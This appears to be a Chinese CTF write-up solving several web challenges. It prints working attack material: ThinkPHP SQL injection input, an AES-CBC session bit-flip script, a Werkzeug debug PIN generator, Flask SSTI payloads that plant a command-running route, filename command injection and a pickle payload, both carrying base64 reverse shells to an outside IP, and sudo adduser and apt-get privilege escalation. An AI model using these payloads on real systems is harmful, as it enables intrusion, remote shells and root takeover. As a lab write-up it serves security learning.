做了一题没在做了。。。有空再复现吧

Web

Please_RCE_Me

image-20240512111924387

ez_tp

话说这个题当时被非预期了(日志里就有payloadhhh,但是我下的附件里没有…去复现一手

readme文档里发现是thinkphp3.2.3image-20240514163852338

了解到thinkphp3.2.3存在sql注入漏洞

找一下初始页面在哪ez_tp/App/Home/Controller/IndexController.class.php

image-20240514165139499

过滤了一大串,但是没建union呢

image-20240514165228523

看样子要触发h_n这个函数,可是怎么触发呢

首先这是个公共函数存在外部调用ControllerNameIndexActionNameh_n。因此,触发 h_n 函数的基本 URL 是 index.php/Home/Index/h_n。get传入一个name可以触发h_n

image-20240514170343056

前面还有一部分代码利用循环来检测黑名单,设置waf

既然是对name传参,那么我们从处理name的方法I开始

image-20240514171303318

convention.php里可以看到filter是htmlspecialchars()image-20240514171622428

先经过htmlspecialchars()的处理,此函数默认是不转义单引号的,之后再回调think_filter函数进行过滤

image-20240514171545461

跟踪一下这个函数,是黑名单过滤,看都过滤了哪些字符

image-20240514172133353

过滤了EXP字符串,并会在后面拼接一个空格,这个点会影响exp注入,到后面便能了解了,跟进where函数中

只有最后的代码对传入的参数发挥了作用,其作用便是把数组$User->field('username,age')传给where(array('username'=>$name),继续跟进到find函数,一直到parseWhere()函数,观察到这一步和上面的where注入有哪些区别

image-20240514202932908

传入的参数会进入到parseWhereItem()函数中,而where注入的是当作字符串直接跳过了这一段代码,先判断该变量是否为数组,再判断索引为0的值是否为字符串,到下面的代码还要验证该索引值是否等于exp

image-20240514203025257

关键点在于下面的代码:image-20240514203114845

又满足了elseif语句(跟到这里便也能理解为什么要用超全局数组,而不用I函数了,如果使用I函数不满足条件,便会异常抛出,从而影响注入),把where条件直接用点拼接,这时传入

1
username[0]=exp&username[1]==1 and test

便会造成SQL注入,最终拼接出来的语句便是

1
='test123' union select 1,flag from flag

filepin

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)

app = Flask(__name__)

filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}

@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'

@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res


@app.route("/read")
def file():

session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'

session_data = json.loads(plain_session)

if session_data['admin'] :
filename = request.args.get('filename')

if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')

try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'






if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)

看源码是要伪造session了,加密方式还涉及AES

https://blog.csdn.net/V1040375575/article/details/111773524

真的我看了半天,我真看不到AES-CBC。。。(呜呜呜0172B9D2

套了师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
from base64 import b64decode, b64encode

url = "http://hnctf.imxbt.cn:40069/"
default_session = '{"admin": 0, "username": "user1"}'
res = requests.get(url)
c = bytearray(b64decode(res.cookies["session"]))

c[default_session.index("0")] ^= 1
print()
evil = b64encode(c).decode()
print(evil)

res = requests.get(url+f"read?filename=/proc/sys/kernel/random/boot_id", cookies={"session": evil})
print(res.text)

这里中途读取的时候最后算pin老是不对,后面去仔细看了看pin码的计算

pin码生成条件?

pin码有六个要素:

username 在可以任意文件读的条件下读 /etc/passwd进行猜测
modname 一般是flask.app
getattr(app, "__name__", app.__class__.__name__)  一般是Flask
moddir flask库下app.py的绝对路径    可以通过报错获取
int(uuid,16)    即 当前网络的mac地址的十进制数
get_machine_id()     机器的id

六个元素 其中 uuid和 machine_id() 相比其他四个 是可能有变化的

在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址

网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。

例:02:42:ac:02:f6:34  ->  342485376972340

 machine-id:

machine-id是通过三个文件里面的内容经过处理后拼接起来

对于非docker机,每台机器都有它唯一的machine-id,一般放在/etc/machine-id和/proc/sys/kernel/random/boot_id

对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id

非docker机,三个文件都需要读取

docker机 machine-id= /proc/sys/kernel/random/boot_id + /proc/self/cgroup里/docker/字符串后面的内容

读取相关文件绕过过滤

过滤了self的时候怎么读 machine-id
    其中的self可以用相关进程的pid去替换,其实1就行
过滤 cgroup
    用mountinfo或者cpuset

读取相关文件绕过过滤

  • 过滤了

    1
    self

    的时候怎么读 machine-id

    • 其中的self可以用相关进程的pid去替换,其实1就行
  • 过滤

    1
    cgroup
    • 用mountinfo或者cpuset

最后根目录的flag里啥也没有,需要env

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import hashlib
from itertools import chain

probably_public_bits = [
'ctfUser' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/lib/python3.9/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]

private_bits = [
'2485377892362', # /sys/class/net/eth0/address mac地址十进制
'9fd11036-6c2e-41c7-bb26-7d358f670070a0289b3a10a4ff35ea2324200f1e5483b124d7f4009064a55655776d212a9073'
#8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-c9369616ee81b3458484006c2a9832ee967e4d2ef360297949d7f251620749e3.scope
#8cab9c97-85be-4fb4-9d17-29335d7b2b8a

# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup/proc/self/cgroup 由于cgroup和mountinfo被禁用,则用/proc/1/cpuset代替读取
#这题用的是/proc/sys/kernel/random/boot_id+/proc/1/cpuset
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"


num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)
print(cookie_name)
print(num)

ezFlask

看到只有一次机会,什么内存马

1
2
3
cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

{{cycler['__init__']['__globals__']['__builtins__']['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']('sys')['modules']['wsgiref']['simple_server']['ServerHandler'],'http_version',cycler['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']())}}

最后在shell路由执行cmd命令

image-20240515200833652

Gojava

robots.txt存在信息泄露

访问/main-old.zip获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package main

import (
"io"
"log"
"mime/multipart"
"net/http"
"os"
"strings"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)

// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", fs)

// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}

func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}

func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}

// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()

if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}
}

func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()

// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}

return nil
}

题目是对java文件进行编译操作,就是系统命令执行javac拼接文件名

image-20240515202328307

1
"1;echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzQuODAuMTUyLzk5OTkgMD4mMSI= | base64 -d | bash;1.java"

反弹shell

提权

cat /memorandum得到rootmima

sudo su

cd /root

cat flAg

GPTS

最近新出的cve

https://xz.aliyun.com/t/14283?time__1311=mqmx9QiQKDqGqx05dIDymDcmrovhG2bD&alichlgref=https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3DqSno1OmP9d2CmUVNF6dWlj3IPjQSJnN9EOdDQoHSahQwxVadWoNWhlQH3ZbKBhJV%26wd%3D%26eqid%3D965c761d00710cf200000006664181f0

先随便自定义一个功能区

会生成一个cookie,后面点击加载

1
2
3
4
5
6
7
8
9
10
import base64

opcode = b'''cos
system
(S'bash -c "{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAxLjM0LjgwLjE1MiIsOTk5OSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigiYmFzaCIpJw==}|{base64,-d}|{bash,-i}"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")

print("--------------------1----------------")
print(opcode)

查找由用户 ctfgame 拥有并且对其可读的所有文件

1
find / -type f -user ctfgame -readable 2>/dev/null

查看/var/mail/ctfgame,读邮件中的敏感信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
From root,
To ctfgame(ctfer),

You know that I'm giving you permissions to make it easier for you to build your website, but now your users have been hacked.

This is the last chance, please take care of your security, I helped you reset your account password.

ctfer : KbsrZrSCVeui#+R

从根,
到 ctfgame(ctfer),

你知道我给你权限是为了让你更容易建立你的网站,但现在你的用户已经被黑客入侵了。

这是最后的机会,请您注意安全,我帮您重置了帐户密码。

ctfer : KbsrZrSCVeui#+R

切换到ctfer登录

没权限看/etc/sudoers ,用sudo -l

image-20240515211201219

这表明ctfer在7d8f46522c73主机上上具有以 root 用户身份执行 /usr/sbin/adduser 命令的特权,而且无需输入密码,但被限制不能以 sudo 用户或 admin 用户身份执行该命令。

添加一个新用户

1
sudo adduser test -gid=0

image-20240515211402179

1
cat /etc/sudoers

image-20240515211542074

看到了kobe

可以apt-get提权

现在我们要以kobe身份登录

先切回ctfer,sudo adduser kobe创建一个kobe用户

1
sudo adduser kobe

再以kobe身份登录,apt-get提权

1
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"

image-20240515212032987

image-20240515212040527